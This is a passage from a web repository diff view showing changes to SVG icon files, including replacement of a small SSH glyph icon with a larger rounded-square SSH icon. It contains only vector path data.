2.3-3.438 2.025-7.9.963-9.938l-.038-.075 1.275-.75a74.573 74.573 0 0 1 2.35-1.325c-.4 1.088-.688 2.375-.838 4.25-.175 2.2.725 5.05 1.913 6.176.525.488 1.15.5 1.538.5 1.375 0 2-1.138 2.688-2.5.85-1.663 1.6-3.588 1.6-3.588s-.938 5.213 1.625 5.213c.938 0 1.875-1.213 2.3-1.838v.012s.025-.038.075-.125c.1-.15.15-.238.15-.238v-.025c.375-.65 1.213-2.138 2.463-4.6 1.613-3.175 3.163-7.15 3.163-7.15s.15.975.613 2.575c.275.95.875 1.988 1.338 3l-.6.825.012.013a35.62 35.62 0 0 1-.988 1.25c-1.275 1.525-2.8 3.263-3 3.763-.238.588-.188 1.025.275 1.375.338.25.938.3 1.575.25 1.15-.075 1.95-.363 2.35-.538a8.14 8.14 0 0 0 2.025-1.063c1.25-.925 2.013-2.238 1.938-3.988-.038-.963-.35-1.913-.738-2.813l.338-.5c1.975-2.888 3.5-6.063 3.5-6.063s.15.975.613 2.575c.238.813.713 1.7 1.138 2.575-1.85 1.513-3.013 3.263-3.413 4.413-.738 2.125-.163 3.088.925 3.313.488.1 1.188-.125 1.713-.35a7.76 7.76 0 0 0 2.163-1.113c1.25-.925 2.45-2.213 2.388-3.95-.038-.8-.25-1.588-.538-2.338 1.575-.65 3.613-1.025 6.2-.713 5.563.65 6.663 4.125 6.45 5.575s-1.375 2.25-1.763 2.5c-.388.238-.513.325-.475.5.05.263.225.25.563.2.463-.075 2.925-1.188 3.025-3.863.15-3.438-3.113-7.188-8.9-7.15zM12.19 50.025c-1.838 2.013-4.425 2.775-5.525 2.125-1.188-.688-.725-3.65 1.538-5.788 1.375-1.3 3.163-2.5 4.338-3.238l1.138-.688c.075-.05.125-.075.125-.075.088-.05.188-.113.288-.175.838 3.05.038 5.725-1.9 7.838zm13.44-9.138c-.638 1.563-1.988 5.575-2.8 5.35-.7-.188-1.125-3.225-.138-6.226.5-1.513 1.563-3.313 2.188-4.013 1.013-1.125 2.113-1.5 2.388-1.038.325.6-1.238 4.95-1.638 5.926zm11.088 5.3c-.275.138-.525.238-.638.163-.088-.05.113-.238.113-.238s1.388-1.488 1.938-2.175l1.088-1.388v.15c0 1.8-1.725 3-2.5 3.488zm8.55-1.95c-.2-.15-.175-.613.5-2.063.263-.575.863-1.538 1.9-2.45.125.375.2.738.188 1.075-.013 2.25-1.613 3.088-2.588 3.438z" />
|
||||
</svg>
|
After Width: | Height: | Size: 3.1 KiB |
@ -1,3 +1,3 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em">
|
||||
<path d="M4.5 9c-.6 0-1 .5-1 1v1.75c0 .5.4 1 1 1H7v.75H3.5V15h4c.6 0 1-.5 1-1v-1.75c0-.5-.4-1-1-1H5v-.75h3.5V9h-4m6 0c-.6 0-1 .5-1 1v1.75c0 .5.4 1 1 1H13v.75H9.5V15h4c.6 0 1-.5 1-1v-1.75c0-.5-.4-1-1-1H11v-.75h3.5V9h-4m5 0v6H17v-2.5h2V15h1.5V9H19v2h-2V9h-1.5Z"/>
|
||||
</svg>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" height="1em" width="1em" viewBox="0 0 1024 1024">
|
||||
<path fill="currentColor" d="M924.999924,0 C979.676115,-1.00438532e-14 1023.99992,44.3238098 1023.99992,99 L1023.99992,924.999924 C1023.99992,979.676115 979.676115,1023.99992 924.999924,1023.99992 L99,1023.99992 C44.3238098,1023.99992 2.09067569e-14,979.676115 0,924.999924 L0,99 C-6.69590214e-15,44.3238098 44.3238098,2.42547079e-14 99,0 L924.999924,0 Z M297.983357,621.999996 C235.914893,621.999996 189.713556,661.247852 189.713556,713.578343 C189.713556,761.703699 223.78121,786.93446 254.5821,800.017085 L296.583318,818.239305 C325.050813,830.387461 340.451258,836.928764 340.451258,857.95441 C340.451258,877.578338 325.984169,891.595432 292.849882,891.595432 C266.715783,891.595432 238.714972,878.045577 217.714368,858.421639 C214.914289,856.085462 211.180843,856.552701 209.314121,858.888879 L177.579873,895.800557 C175.713151,897.669505 175.246467,901.407401 177.579873,903.743578 C207.447408,933.179475 249.448625,949.999996 291.916516,949.999996 C362.851901,949.999996 407.653208,907.014234 407.653208,853.749275 C407.653208,806.558398 379.185713,781.327626 342.317981,765.441584 L300.783436,748.153834 C274.649348,737.407396 255.98214,729.931614 255.98214,710.774926 C255.98214,692.552697 270.449229,680.87179 297.983357,680.87179 C322.717407,680.87179 341.384614,689.74928 360.518505,705.635322 C363.318584,707.971499 367.05203,707.03703 368.918753,704.700843 L396.452881,670.125352 C398.319604,668.256404 398.319604,664.518508 395.986198,662.182331 C371.252149,637.418799 334.85109,621.999996 297.983357,621.999996 Z M544.855967,621.999996 C482.787502,621.999996 436.586166,661.247852 436.586166,713.578343 C436.586166,761.703699 470.653819,786.93446 501.45471,800.017085 L543.455927,818.239305 C571.923422,830.387461 587.323867,836.928764 587.323867,857.95441 C587.323867,877.578338 572.856778,891.595432 539.722491,891.595432 C513.588403,891.595432 485.587591,878.045577 464.586977,858.421639 C461.786898,856.085462 458.053453,856.552701 456.18673,858.888879 L424.452483,895.800557 C422.58576,897.669505 422.119077,901.407401 424.452483,903.743578 C454.320017,933.179475 496.321234,949.999996 538.789125,949.999996 C609.72452,949.999996 654.525817,907.014234 654.525817,853.749275 C654.525817,806.558398 626.058322,781.327626 589.19059,765.441584 L547.656056,748.153834 C521.521957,737.407396 502.854749,729.931614 502.854749,710.774926 C502.854749,692.552697 517.321838,680.87179 544.855967,680.87179 C569.590016,680.87179 588.257224,689.74928 607.391114,705.635322 C610.191194,707.971499 613.924639,707.03703 615.791362,704.700843 L643.32549,670.125352 C645.192213,668.256404 645.192213,664.518508 642.858807,662.182331 C618.124758,637.418799 581.723709,621.999996 544.855967,621.999996 Z M758.127976,627.60683 L703.993075,627.60683 C701.659669,627.60683 697.926234,629.475778 697.926234,633.213664 L697.926234,938.786319 C697.926234,941.122496 700.25963,944.393152 703.993075,944.393152 L758.127976,944.393152 C760.461382,944.393152 763.728134,942.524204 763.728134,938.786319 L763.728134,808.894575 L876.198064,808.894575 L876.198064,938.786319 C876.198064,941.122496 878.064787,944.393152 881.798222,944.393152 L935.933123,944.393152 C938.266529,944.393152 941.999974,942.524204 941.999974,938.786319 L941.999974,633.213664 C941.999974,630.877486 939.666568,627.60683 935.933123,627.60683 L881.798222,627.60683 C879.464826,627.60683 876.198064,629.475778 876.198064,633.213664 L876.198064,750.022782 L763.728134,750.022782 L763.728134,633.213664 C763.728134,630.877486 761.861421,627.60683 758.127976,627.60683 Z"/>
|
||||
</svg>
|
Before Width: | Height: | Size: 357 B After Width: | Height: | Size: 3.5 KiB |
Reference in New Issue
Block a user